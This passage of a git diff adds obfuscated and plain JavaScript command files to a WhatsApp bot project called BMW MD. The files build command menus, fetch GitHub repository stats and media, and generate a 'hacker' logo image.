+const _0x32cd69=_0x3c0f;(function(_0x4f6293,_0x3e118b){const _0x22538f=_0x3c0f,_0x354fee=_0x4f6293();while(!![]){try{const _0xa0bd00=parseInt(_0x22538f(0xfe))/(-0x16b*-0x11+0xc28+-0x2442)*(-parseInt(_0x22538f(0xed))/(0x766*-0x2+0x1cf5+-0xe27))+parseInt(_0x22538f(0xdd))/(-0x341+0xcc*-0x17+0xacc*0x2)*(parseInt(_0x22538f(0xfc))/(0x506*0x4+0x13*0xb+-0x14e5))+parseInt(_0x22538f(0x131))/(-0x22d2+0x21ff+-0x8*-0x1b)+parseInt(_0x22538f(0xad))/(-0xe3b*-0x2+-0xe11+-0xe5f)*(parseInt(_0x22538f(0x93))/(-0x18fc+-0x3e4+0x1ce7))+parseInt(_0x22538f(0xc0))/(0x57*-0x15+0x82e*-0x1+-0x1*-0xf59)*(-parseInt(_0x22538f(0xb3))/(0x6b*0x5+-0x4be*0x3+0xc2c))+parseInt(_0x22538f(0xff))/(0xc*0xe4+-0x349*-0x7+-0x21a5)+-parseInt(_0x22538f(0x105))/(-0x2*0xc51+0x2*0xfcb+-0x6e9)*(parseInt(_0x22538f(0x13e))/(0x1f76+-0x63f+-0x192b*0x1));if(_0xa0bd00===_0x3e118b)break;else _0x354fee['push'](_0x354fee['shift']());}catch(_0x4708bf){_0x354fee['push'](_0x354fee['shift']());}}}(_0x44b1,-0x8a6ad+-0xbbf*-0x7c+-0xb3c*-0xa8));function _0x3c0f(_0x3e2ba3,_0x248806){const _0x210b6d=_0x44b1();return _0x3c0f=function(_0x29a436,_0x2fc1bf){_0x29a436=_0x29a436-(-0xf1c*-0x1+0x3ac+0xa1*-0x1d);let _0x1e9fbe=_0x210b6d[_0x29a436];return _0x1e9fbe;},_0x3c0f(_0x3e2ba3,_0x248806);}const util=require(_0x32cd69(0xd2)),fs=require(_0x32cd69(0x12e)),axios=require(_0x32cd69(0x146)),{adams}=require(__dirname+(_0x32cd69(0x106)+_0x32cd69(0xce))),{format}=require(__dirname+(_0x32cd69(0x106)+_0x32cd69(0x8f)+_0x32cd69(0xa3))),os=require('os'),moment=require(_0x32cd69(0xf4)+_0x32cd69(0x13b)),s=require(__dirname+_0x32cd69(0xe7)),more=String[_0x32cd69(0xd0)+'de'](-0x3*0xec3+-0x1*-0x25+0x4c32),readmore=more[_0x32cd69(0xfd)](-0x12f*0x8+0x17d4+0x145),runtime=function(_0x5e56ad){const _0xed1f1=_0x32cd69,_0x1cef08={'ncvnc':_0xed1f1(0xbf)+_0xed1f1(0x9d),'Fwyta':function(_0x37b29f,_0x39656f){return _0x37b29f>_0x39656f;},'dWoyg':function(_0xda7dc0,_0x4a90db){return _0xda7dc0+_0x4a90db;},'Berhn':function(_0x24d147,_0x3ab4d6){return _0x24d147==_0x3ab4d6;},'lwHCC':_0xed1f1(0xa2),'IXcdK':_0xed1f1(0x113),'CemUe':function(_0x5087d8,_0x2bc57d){return _0x5087d8/_0x2bc57d;},'WoYYi':function(_0x4ad803,_0x5cb176){return _0x4ad803%_0x5cb176;},'SBDmu':function(_0x239b7b,_0x2d157b){return _0x239b7b>_0x2d157b;},'iKaHs':_0xed1f1(0x103),'LRBDv':_0xed1f1(0x94),'UQhOB':function(_0x450709,_0xd5090){return _0x450709(_0xd5090);},'kVgfz':function(_0x2d007e,_0x45bdb8){return _0x2d007e+_0x45bdb8;},'osfTG':_0xed1f1(0x139),'WnsGL':function(_0x2226dc,_0x1cd451){return _0x2226dc*_0x1cd451;},'FCvxM':function(_0x5ecd46,_0x641442){return _0x5ecd46+_0x641442;},'EsgBS':function(_0x450dd8,_0x65591d){return _0x450dd8/_0x65591d;},'xDwbe':function(_0x1d9654,_0x54a684){return _0x1d9654>_0x54a684;},'ZZmLZ':function(_0x14608a,_0xd13748){return _0x14608a+_0xd13748;},'EcGEX':function(_0x5f169a,_0x38cb4d){return _0x5f169a==_0x38cb4d;},'AJJhW':_0xed1f1(0x117),'vatkg':_0xed1f1(0x8d)},_0xcf335e=_0x1cef08[_0xed1f1(0xab)][_0xed1f1(0x9f)]('|');let _0x45c174=-0xb*-0x1cc+0x1c37*-0x1+0x873;while(!![]){switch(_0xcf335e[_0x45c174++]){case'0':var _0x5e1261=_0x1cef08[_0xed1f1(0x127)](_0x1e8cb2,-0x1*-0xe83+-0x8b*-0x33+0x49*-0x94)?_0x1cef08[_0xed1f1(0x9e)](_0x1e8cb2,_0x1cef08[_0xed1f1(0xf8)](_0x1e8cb2,-0x21ad+-0x2615+0x47c3)?_0x1cef08[_0xed1f1(0x10d)]:_0x1cef08[_0xed1f1(0xec)]):'';continue;case'1':var _0x2a4003=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xa8)](_0x1cef08[_0xed1f1(0xd1)](_0x5e56ad,-0xac9*0x1+0x1bd8+0x3b*-0xd),-0x12ed+-0x1a58+-0x2d81*-0x1));continue;case'2':var _0x5b843f=_0x1cef08[_0xed1f1(0xda)](_0x2a4003,-0x20d5+0x1*0x871+0x1864)?_0x1cef08[_0xed1f1(0x9e)](_0x2a4003,_0x1cef08[_0xed1f1(0xf8)](_0x2a4003,0xe57+0x1*-0x24f5+0x169f)?_0x1cef08[_0xed1f1(0xc9)]:_0x1cef08[_0xed1f1(0x109)]):'';continue;case'3':_0x5e56ad=_0x1cef08[_0xed1f1(0x123)](Number,_0x5e56ad);continue;case'4':var _0x52c5e9=_0x1cef08[_0xed1f1(0x127)](_0x3d3e3e,-0x1876+0x18e8+-0x72)?_0x1cef08[_0xed1f1(0x11e)](_0x3d3e3e,_0x1cef08[_0xed1f1(0xf8)](_0x3d3e3e,-0x1*-0x1b11+0x1*-0x944+0x22*-0x86)?_0x1cef08[_0xed1f1(0xe9)]:'\x20s'):'';continue;case'5':var _0x3d3e3e=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xd1)](_0x5e56ad,-0x7c2+-0xc*0x1c3+0x71*0x42));continue;case'6':var _0x5b13b7=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xa8)](_0x5e56ad,_0x1cef08[_0xed1f1(0x108)](0x1ae0+-0x4ca+0x9e*-0xd,0x216d+-0x2bd*-0xa+-0x3cb7)));continue;case'7':return _0x1cef08[_0xed1f1(0x11e)](_0x1cef08[_0xed1f1(0x11e)](_0x1cef08[_0xed1f1(0x130)](_0xb9a540,_0x5e1261),_0x5b843f),_0x52c5e9);case'8':var _0x1e8cb2=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xd3)](_0x1cef08[_0xed1f1(0xd1)](_0x5e56ad,_0x1cef08[_0xed1f1(0x108)](0x1*-0x8bc+-0x11d7*0x1+0x28a3,0x67*-0x49+0x803+-0x1574*-0x1)),-0x263b+0x30f*-0x2+0x3a69));continue;case'9':var _0xb9a540=_0x1cef08[_0xed1f1(0xeb)](_0x5b13b7,0xa59+-0x1205*-0x1+-0x1c5e)?_0x1cef08[_0xed1f1(0xea)](_0x5b13b7,_0x1cef08[_0xed1f1(0x112)](_0x5b13b7,0x1f0*0xf+-0xe3a+-0xed5)?_0x1cef08[_0xed1f1(0xdf)]:_0x1cef08[_0xed1f1(0x14b)]):'';continue;}break;}},fetchGitHubStats=async()=>{const _0x4f662b=_0x32cd69,_0x2a726c={'IooAv':_0x4f662b(0x10f)+_0x4f662b(0xe1),'fRyUG':function(_0x459bac,_0x5ea26f){return _0x459bac+_0x5ea26f;},'kUBbn':function(_0x5cc9c7,_0x1da8c7){return _0x5cc9c7*_0x1da8c7;},'oezod':function(_0x4336ce,_0x40190d){return _0x4336ce*_0x40190d;},'yXgQM':_0x4f662b(0xcd)+_0x4f662b(0x10a)+_0x4f662b(0xbc)};try{const _0xf21328=_0x2a726c[_0x4f662b(0xef)],_0x96fef7=await axios[_0x4f662b(0x129)](_0x4f662b(0x14e)+_0x4f662b(0x100)+_0x4f662b(0x122)+_0xf21328),_0x5e1ee2=_0x96fef7[_0x4f662b(0xa9)][_0x4f662b(0x9c)+'t'],_0x508c96=_0x96fef7[_0x4f662b(0xa9)][_0x4f662b(0xcb)+_0x4f662b(0x132)],_0x2d5803=_0x2a726c[_0x4f662b(0x101)](_0x2a726c[_0x4f662b(0x8e)](_0x5e1ee2,0x2018+0x136*0xc+0x1*-0x2e9e),_0x2a726c[_0x4f662b(0x12a)](_0x508c96,0x11*-0x30+0x56c+-0x23a));return{'forks':_0x5e1ee2,'stars':_0x508c96,'totalUsers':_0x2d5803};}catch(_0x4a7f00){return console[_0x4f662b(0xb6)](_0x2a726c[_0x4f662b(0x140)],_0x4a7f00),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':'mo','categorie':_0x32cd69(0xf7)},async(_0x372ed0,_0x3e09f1,_0x4bf851)=>{const _0xc38362=_0x32cd69,_0x22c22f={'FOkKZ':function(_0x8a9b8a,_0x560a57){return _0x8a9b8a(_0x560a57);},'LgtpW':function(_0x4b9c3a,_0x427f5d){return _0x4b9c3a+_0x427f5d;},'gNMgV':_0xc38362(0x106)+_0xc38362(0xce),'ohpSl':function(_0x50e983,_0x458e4f){return _0x50e983===_0x458e4f;},'ZPIma':_0xc38362(0x10e),'SWwjj':_0xc38362(0x13d),'NrqSY':function(_0x441b27){return _0x441b27();},'YlBvr':_0xc38362(0x111),'YBGpa':_0xc38362(0xf0),'nhXTt':_0xc38362(0xb1),'JSQni':function(_0x106656,_0x1c6968){return _0x106656>=_0x1c6968;},'AdXqK':function(_0x237c10,_0x33fa4b){return _0x237c10<=_0x33fa4b;},'xiDnk':_0xc38362(0xb0)+'ng','VSfBQ':_0xc38362(0xcc)+_0xc38362(0xb7),'ZGRRr':function(_0x437074,_0x1c1d7b){return _0x437074>=_0x1c1d7b;},'gGeca':function(_0x2b8a09,_0xfc2897){return _0x2b8a09<=_0xfc2897;},'iFray':_0xc38362(0x90)+'ng','rZiON':function(_0x567744){return _0x567744();},'DZSAm':function(_0xf432ed,_0x1e27fd){return _0xf432ed(_0x1e27fd);},'BIbfZ':function(_0xe4c432,_0x5d0421){return _0xe4c432-_0x5d0421;},'DHqes':function(_0x3ae5e7,_0x93252){return _0x3ae5e7+_0x93252;},'xKlIj':_0xc38362(0x147)+_0xc38362(0xe6),'MboHD':_0xc38362(0xf3)+_0xc38362(0x98)+_0xc38362(0x104)+_0xc38362(0x133),'uoXFG':_0xc38362(0x110)+_0xc38362(0x11f)+_0xc38362(0x92)+_0xc38362(0xe2)+_0xc38362(0x148)+_0xc38362(0xd9),'CKakn':_0xc38362(0xf3)+_0xc38362(0x98)+_0xc38362(0x125)+_0xc38362(0x10c),'XLkGX':_0xc38362(0xe5),'xGtGh':_0xc38362(0x12f)+'G','IJjlZ':_0xc38362(0x97)+_0xc38362(0x128)+_0xc38362(0x102),'vDKTI':_0xc38362(0xf3)+_0xc38362(0x98)+_0xc38362(0xb4)+_0xc38362(0x121),'ElAij':function(_0xbf4379,_0x5aa1e3){return _0xbf4379+_0x5aa1e3;},'eBWVg':_0xc38362(0xa5)+_0xc38362(0x135),'AKmBy':function(_0x35470c,_0x629bb8){return _0x35470c+_0x629bb8;}};let {ms:_0x2fde06,repondre:_0xf6f7c0,prefixe:_0x465221,nomAuteurMessage:_0x3fbcfc}=_0x4bf851,{cm:_0x201740}=_0x22c22f[_0xc38362(0xa1)](require,_0x22c22f[_0xc38362(0xa7)](__dirname,_0x22c22f[_0xc38362(0xaa)]));var _0x173989={},_0x315842=_0x22c22f[_0xc38362(0xbb)](s[_0xc38362(0x12b)][_0xc38362(0xac)+'e'](),_0x22c22f[_0xc38362(0xf5)])?_0x22c22f[_0xc38362(0xf5)]:_0x22c22f[_0xc38362(0xa4)];_0x201740[_0xc38362(0xcf)](_0x3db306=>{const _0x4b104e=_0xc38362,_0x3b22f0=_0x3db306[_0x4b104e(0x11b)][_0x4b104e(0xc4)+'e']();if(!_0x173989[_0x3b22f0])_0x173989[_0x3b22f0]=[];_0x173989[_0x3b22f0][_0x4b104e(0x9a)](_0x3db306[_0x4b104e(0xfb)]);}),moment['tz'][_0xc38362(0xd8)](''+s['TZ']);const _0x4d9820=_0x22c22f[_0xc38362(0x134)](moment)[_0xc38362(0xc1)](_0x22c22f[_0xc38362(0x99)]),_0x515bf7=_0x22c22f[_0xc38362(0x134)](moment)[_0xc38362(0xc1)](_0x22c22f[_0xc38362(0xd5)]),_0x2be885=_0x22c22f[_0xc38362(0x134)](moment)[_0xc38362(0xbd)]();let _0x5048c6=_0x22c22f[_0xc38362(0x11a)];if(_0x22c22f[_0xc38362(0xe3)](_0x2be885,-0x1*0x1f8e+0x1609*-0x1+0x3*0x11dd)&&_0x22c22f[_0xc38362(0xd7)](_0x2be885,-0x1*0x1471+0xe92+-0x2f5*-0x2))_0x5048c6=_0x22c22f[_0xc38362(0xd6)];else{if(_0x22c22f[_0xc38362(0xe3)](_0x2be885,-0x1f89+0x1076*0x1+-0x7*-0x229)&&_0x22c22f[_0xc38362(0xd7)](_0x2be885,-0x459+0x29*-0x9e+0x1*0x1db7))_0x5048c6=_0x22c22f[_0xc38362(0x11d)];else{if(_0x22c22f[_0xc38362(0xb9)](_0x2be885,0x772+-0x721+0x41*-0x1)&&_0x22c22f[_0xc38362(0xc6)](_0x2be885,-0x1855+-0xc6d*-0x2+0x2*-0x38))_0x5048c6=_0x22c22f[_0xc38362(0x107)];}}const {totalUsers:_0xd095f}=await _0x22c22f[_0xc38362(0xaf)](fetchGitHubStats),_0x249261=_0xd095f[_0xc38362(0xdc)+_0xc38362(0x13f)]();let _0x44bb17=_0xc38362(0xc3)+_0xc38362(0xe0)+_0xc38362(0x9b)+_0xc38362(0x142)+_0xc38362(0xde)+_0x315842+(_0xc38362(0x138)+_0xc38362(0xf6))+_0x465221+(_0xc38362(0x8c)+_0xc38362(0x136))+os[_0xc38362(0x8b)]()+(_0xc38362(0xe8)+_0xc38362(0xf2)+_0xc38362(0xee))+_0x515bf7+(_0xc38362(0x14f)+'*')+_0x4d9820+(_0xc38362(0x143)+_0xc38362(0xc5))+_0x22c22f[_0xc38362(0xc2)](format,_0x22c22f[_0xc38362(0xd4)](os[_0xc38362(0x13a)](),os[_0xc38362(0xb8)]()))+'/'+_0x22c22f[_0xc38362(0xa1)](format,os[_0xc38362(0x13a)]())+(_0xc38362(0x124)+_0xc38362(0x115)+_0xc38362(0x91)+_0xc38362(0xf9)+_0xc38362(0xe4)),_0x44531d=readmore+(_0xc38362(0xf1)+_0xc38362(0x119)+_0xc38362(0xc8)+_0xc38362(0x12d)+_0xc38362(0x14d)+_0xc38362(0x119)+'\x0a');const _0x3699cb=Object[_0xc38362(0xfa)](_0x173989)[_0xc38362(0xc7)]();_0x3699cb[_0xc38362(0xdb)](_0x59e359=>{const _0x2a68bd=_0xc38362;_0x44531d+=_0x2a68bd(0x137)+_0x59e359+_0x2a68bd(0xbe),_0x173989[_0x59e359][_0x2a68bd(0xdb)](_0x10ea62=>{const _0x4784fa=_0x2a68bd;_0x44531d+=_0x4784fa(0xa6)+_0x10ea62;}),_0x44531d+=_0x2a68bd(0x11c)+_0x2a68bd(0xca);}),_0x44531d+=_0xc38362(0x10b)+_0xc38362(0x12c)+_0xc38362(0xae)+_0xc38362(0xa0)+_0xc38362(0x13c)+_0xc38362(0x126);try{await _0x3e09f1[_0xc38362(0xb5)+'e'](_0x372ed0,{'text':_0x22c22f[_0xc38362(0x95)](_0x44bb17,_0x44531d),'contextInfo':{'mentionedJid':[_0x3fbcfc],'externalAdReply':{'body':_0x22c22f[_0xc38362(0xba)],'thumbnailUrl':_0x22c22f[_0xc38362(0x116)],'sourceUrl':_0x22c22f[_0xc38362(0x120)],'mediaType':0x1,'rendersmallThumbnail':!![]}}}),await _0x3e09f1[_0xc38362(0xb5)+'e'](_0x372ed0,{'audio':{'url':_0x22c22f[_0xc38362(0x14a)]},'mimetype':_0x22c22f[_0xc38362(0x149)],'ptt':![],'caption':_0x22c22f[_0xc38362(0x14c)],'contextInfo':{'externalAdReply':{'body':_0x22c22f[_0xc38362(0x96)],'thumbnailUrl':_0x22c22f[_0xc38362(0x141)],'sourceUrl':_0x22c22f[_0xc38362(0x120)],'rendersmallThumbnail':![]}}});}catch(_0x378a46){console[_0xc38362(0x114)](_0x22c22f[_0xc38362(0x144)](_0x22c22f[_0xc38362(0x118)],_0x378a46)),_0x22c22f[_0xc38362(0xa1)](_0xf6f7c0,_0x22c22f[_0xc38362(0xb2)](_0x22c22f[_0xc38362(0x118)],_0x378a46));}});function _0x44b1(){const _0x26bac0=['5.mp3','lwHCC','public','Devibraah/','https://wh','HH:mm:ss','EcGEX','\x20h,\x20','log','┈━═──━┈⊷\x0a\x0a','MboHD','\x20day,\x20','eBWVg','┈┈━═──━┈⊷\x0a','nhXTt','categorie','\x0a*╰─══════','VSfBQ','kVgfz','atsapp.com','uoXFG','q.jpeg','om/repos/','UQhOB','\x0a╰─────═━┈','.moe/oordg','▄▀▄▀▄','Fwyta','Y\x20IBRAHIM\x20','get','oezod','MODE','▀▄▀▄▀▄\x0a©𝑰𝒃','ᴏᴍᴍᴀɴᴅ\x20ʟɪs','fs-extra','BMW\x20MD\x20SON','FCvxM','2047425rnCpGb','_count','f.jpeg','NrqSY','reur\x20','ғᴏʀᴍ:\x20*','*╭────❒*\x20*','*\x0a┇\x20ᴘʀᴇғɪx','\x20second','totalmem','ezone','▄▀▄▀▄▀▄▀▄▀','private','48oiXAmo','ring','yXgQM','vDKTI','\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a','*\x0a┇\x20ᴄᴀᴘᴀᴄɪ','ElAij','floor','axios','©Ibrahim\x20A','EawdxZK9Cz','XLkGX','CKakn','vatkg','xGtGh','ᴛ\x0a╰─────═━','https://ap','*\x0a┇\x20ᴛɪᴍᴇ:\x20','platform','\x20]*\x0a┇\x20ᴘʟᴀᴛ','\x20d,\x20','kUBbn','m/mesfonct','Good\x20eveni','\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇','/channel/0','23471ypBddf','\x20m,\x20','DHqes','IJjlZ','BMW\x20SONG\x20B','les.catbox','YlBvr','push','\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:','forks_coun','9|0|2|4|7','dWoyg','split','𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a','FOkKZ','\x20hour,\x20','ions','SWwjj','🥵🥵\x20Menu\x20er','\x0a*╏*\x20','LgtpW','CemUe','data','gNMgV','ncvnc','toLowerCas','552kTtsfP','𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎','rZiON','Good\x20morni','Good\x20night','AKmBy','9NwnJZI','.moe/va22v','sendMessag','error','noon','freemem','ZGRRr','xKlIj','ohpSl','b\x20stats:','hour','*\x20*❒*','3|6|8|1|5|','1327728RFJbvV','format','DZSAm','\x0a╭─────═━┈','toUpperCas','ᴛʏ\x20','gGeca','sort','┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄ','iKaHs','═══════❒*\x0a','stargazers','Good\x20after','Error\x20fetc','m/adams','map','fromCharCo','WoYYi','util','EsgBS','BIbfZ','YBGpa','xiDnk','AdXqK','setDefault','M0Y','SBDmu','forEach','toLocaleSt','240xLcwpL','┇\x20ᴍᴏᴅᴇ:\x20*','AJJhW','┈━═──━┈⊷\x0a┇','BWM-XMD','029VaZuGSx','JSQni','\x20🌍\x0a\x0a','audio/mp4','dams','/../config','*\x0a┇\x20ᴛʏᴘᴇ:\x20','osfTG','ZZmLZ','xDwbe','IXcdK','2210OlzonS','ᴛᴇ:\x20*','IooAv','DD/MM/YYYY','\x20\x0a╭─────═━','*ᴠ6x*\x0a┇\x20ᴅᴀ','https://fi','moment-tim','ZPIma',':\x20*[\x20','General','Berhn','𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓','keys','nomCom','19556DiJZqo','repeat','474ZgSrCz','4370420IuwDJu','i.github.c','fRyUG','ADAMS','\x20minute,\x20','.moe/ytix9','1560097IAdPfB','/../Ibrahi','iFray','WnsGL','LRBDv','hing\x20GitHu','\x0a▄▀▄▀▄▀▄▀▄'];_0x44b1=function(){return _0x26bac0;};return _0x44b1();}
\ No newline at end of file
diff --git a/scs/bmwboo.js b/scs/bmwboo.js
new file mode 100644
index 0000000..8a0219b
--- /dev/null
+++ b/scs/bmwboo.js
@@ -0,0 +1 @@
+function _0x2b3c(_0x16c484,_0x2d5d41){const _0x265a32=_0x265a();return _0x2b3c=function(_0x2b3cbf,_0x2c5322){_0x2b3cbf=_0x2b3cbf-0x15e;let _0x54fadc=_0x265a32[_0x2b3cbf];return _0x54fadc;},_0x2b3c(_0x16c484,_0x2d5d41);}const _0x1284c5=_0x2b3c;(function(_0x44f7b0,_0x5c218e){const _0x5ac986=_0x2b3c,_0x4bf92b=_0x44f7b0();while(!![]){try{const _0x2ca696=-parseInt(_0x5ac986(0x161))/0x1*(-parseInt(_0x5ac986(0x180))/0x2)+-parseInt(_0x5ac986(0x165))/0x3*(parseInt(_0x5ac986(0x183))/0x4)+parseInt(_0x5ac986(0x189))/0x5*(parseInt(_0x5ac986(0x18a))/0x6)+-parseInt(_0x5ac986(0x17a))/0x7*(-parseInt(_0x5ac986(0x177))/0x8)+-parseInt(_0x5ac986(0x16d))/0x9+-parseInt(_0x5ac986(0x17e))/0xa*(parseInt(_0x5ac986(0x168))/0xb)+parseInt(_0x5ac986(0x16c))/0xc;if(_0x2ca696===_0x5c218e)break;else _0x4bf92b['push'](_0x4bf92b['shift']());}catch(_0x378a47){_0x4bf92b['push'](_0x4bf92b['shift']());}}}(_0x265a,0x32d21));const util=require('util'),fs=require(_0x1284c5(0x173)),{adams}=require(__dirname+_0x1284c5(0x186)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x1284c5(0x160)),s=require(__dirname+_0x1284c5(0x167)),more=String[_0x1284c5(0x187)](0x200e),Taphere=more[_0x1284c5(0x16e)](0xfa1);adams({'nomCom':_0x1284c5(0x16f),'categorie':'General'},async(_0x15bd1b,_0x34ad3b,_0x225f1b)=>{const _0x589ec1=_0x1284c5;let {ms:_0x42419d,repondre:_0x4a57b6,prefixe:_0x2fc159,nomAuteurMessage:_0x19fe77,mybotpic:_0x15306d}=_0x225f1b,{cm:_0xbc2887}=require(__dirname+'/../Ibrahim//adams');var _0x4c7b14={},_0x242361=_0x589ec1(0x163);s['MODE'][_0x589ec1(0x169)]()!=_0x589ec1(0x166)&&(_0x242361=_0x589ec1(0x162));_0xbc2887[_0x589ec1(0x176)](async(_0x4bc1db,_0x410859)=>{const _0x37d376=_0x589ec1;if(!_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]])_0x4c7b14[_0x4bc1db['categorie']]=[];_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]]['push'](_0x4bc1db[_0x37d376(0x185)]);}),moment['tz'][_0x589ec1(0x179)](_0x589ec1(0x188));const _0x49a8d9=moment()[_0x589ec1(0x184)](_0x589ec1(0x172)),_0x48bf66=moment()['format'](_0x589ec1(0x174));let _0x5f0c7e=_0x589ec1(0x15f)+_0x19fe77+'*\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐀𝐈𝐍』\x0a┇\x20🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a┇\x20💢\x20ᴛʏᴘᴇ:\x20*ᴠ6x*\x0a┇\x20🥷\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐒𝐘𝐒𝐓𝐄𝐌』\x0a┇\x20📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*6.0.3*\x0a┇\x20💻\x20ᴘʟᴀᴛғᴏʀᴍ:\x20*'+os[_0x589ec1(0x181)]()+'*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐎𝐃𝐄』\x0a┇\x20⭕\x20ᴍᴏᴅᴇ:\x20*'+_0x242361+'*\x0a┇\x20💫\x20ᴘʀᴇғɪx:\x20*[\x20'+_0x2fc159+_0x589ec1(0x15e)+_0x49a8d9+_0x589ec1(0x178)+_0x48bf66+_0x589ec1(0x164),_0x54f82b=_0x589ec1(0x17f);for(const _0x10dbdd in _0x4c7b14){_0x54f82b+=_0x589ec1(0x16b)+_0x10dbdd+'*\x20*❒*';for(const _0x2bf9c1 of _0x4c7b14[_0x10dbdd]){_0x54f82b+=_0x589ec1(0x182)+_0x2bf9c1;}_0x54f82b+=_0x589ec1(0x17c);}_0x54f82b+=_0x589ec1(0x175);var _0x4c443b=_0x15306d();if(_0x4c443b['match'](/\.(mp4|gif)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'video':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':_0x589ec1(0x17b),'gifPlayback':!![]},{'quoted':_0x42419d});}catch(_0x5d7740){console['log'](_0x589ec1(0x17d)+_0x5d7740),_0x4a57b6(_0x589ec1(0x17d)+_0x5d7740);}else{if(_0x4c443b['match'](/\.(jpeg|png|jpg)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'image':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x42419d});}catch(_0x1acf05){console[_0x589ec1(0x170)](_0x589ec1(0x17d)+_0x1acf05),_0x4a57b6(_0x589ec1(0x17d)+_0x1acf05);}else _0x4a57b6(_0x5f0c7e+_0x54f82b);}});function _0x265a(){const _0x4c9706=['categorie','HH:mm:ss','fs-extra','DD/MM/YYYY','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','map','2607464vqRsvC','\x0a┇\x20📅\x20ᴅᴀᴛᴇ:\x20','setDefault','7AvNzwU','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x0a*╰─═════════════❒*\x20\x0a','🥵🥵\x20Menu\x20erreur\x20','230TIkHUY','\x0a\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','2028xUihAV','platform','\x20\x20\x0a*╏*\x20','821336kejjBf','format','nomCom','/../Ibrahim/adams','fromCharCode','Africa/Nairobi','310SOwXSc','35304mnwZko','\x20]*\x0a┇\x20⏲️\x20ᴛɪᴍᴇ:\x20','\x0a*Hey🖐️*\x20*','moment-timezone','220yiiLSo','private','public','\x20\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a\x20\x20『𝐒𝐔𝐏𝐏𝐎𝐑𝐓』\x0a\x20\x20♾️\x20ᴡʜᴀᴛsᴀᴘᴘ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y\x0a\x20\x20♾️\x20ᴛᴇʟᴇɢʀᴀᴍ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://t.me/ibrahimtechai\x0a\x20\x20♾️\x20ʏᴏᴜᴛᴜʙᴇ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://www.youtube.com/@ibrahimaitech\x0a\x20\x20♾️\x20ɪɴsᴛᴀɢʀᴀᴍ\x20ᴘᴀɢᴇ\x0a\x20\x20https://www.instagram.com/ibrahimadamstech\x0a╰─────═━┈┈━═──━┈⊷\x0a>\x20©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x0a\x0a','6FFRSDY','yes','/../config','166507cRCrSQ','toLocaleLowerCase','sendMessage','*╭────❒*\x20*','3292464voqxzX','1990917cgHrOP','repeat','help','log'];_0x265a=function(){return _0x4c9706;};return _0x265a();}
diff --git a/scs/bmwbu.js b/scs/bmwbu.js
new file mode 100644
index 0000000..9fe4c90
--- /dev/null
+++ b/scs/bmwbu.js
@@ -0,0 +1,499 @@
+const { adams } = require("../Ibrahim/adams");
+var mumaker = require("mumaker");
+adams({ nomCom: "hacker",
+ categorie: "Logo", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
+ const { prefixe, arg, ms, repondre } = commandeOptions;
+ if (!arg || arg == "") {
+ repondre("*__Exemple : * " + prefixe + "hacker Ibrahim");
+ return;
+ }
+ try {
+ let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
+ let anu = await mumaker.ephoto("https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html", arg); //
+ //
+ // let res = Object.values(anu)[3];
+ // console.log("&€"+res);
+ // let lien = "https://e1.yotools.net" + res;
+ repondre("* processing...*");
+ await zk.sendMessage(origineMessage, { image: { url:anu.image}, caption: "* \t Logo by bmw-Md*" }, { quoted: ms });
+ }
+ catch (e) {
